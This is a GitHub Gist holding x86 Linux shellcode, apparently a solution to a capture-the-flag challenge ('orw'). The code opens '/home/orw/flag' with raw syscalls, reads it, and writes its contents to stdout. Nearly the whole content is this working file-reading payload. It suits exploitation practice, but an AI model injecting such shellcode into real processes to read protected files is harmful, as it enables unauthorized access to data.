Created
September 27, 2017 14:20
-
-
Save penafieljlm/20251461615faa569677185f63923d0e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Push "/home/orw/flag" into the stack */ | |
push 0x00006761 | |
push 0x6c662f77 | |
push 0x726f2f65 | |
push 0x6d6f682f | |
/* fd = open("/home/orw/flag", O_RDONLY) */ | |
mov ecx, 0x00 | |
mov ebx, esp | |
mov eax, 0x05 | |
int 0x80 | |
/* char[255] flag */ | |
sub esp, 0xff | |
/* read(fd, flag, 255) */ | |
mov edx, 0xff | |
mov ecx, esp | |
mov ebx, eax | |
mov eax, 0x03 | |
int 0x80 | |
/* write(STDOUT, flag, 255) */ | |
mov edx, 0xff | |
mov ecx, esp | |
mov ebx, 0x01 | |
mov eax, 0x04 | |
int 0x80 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment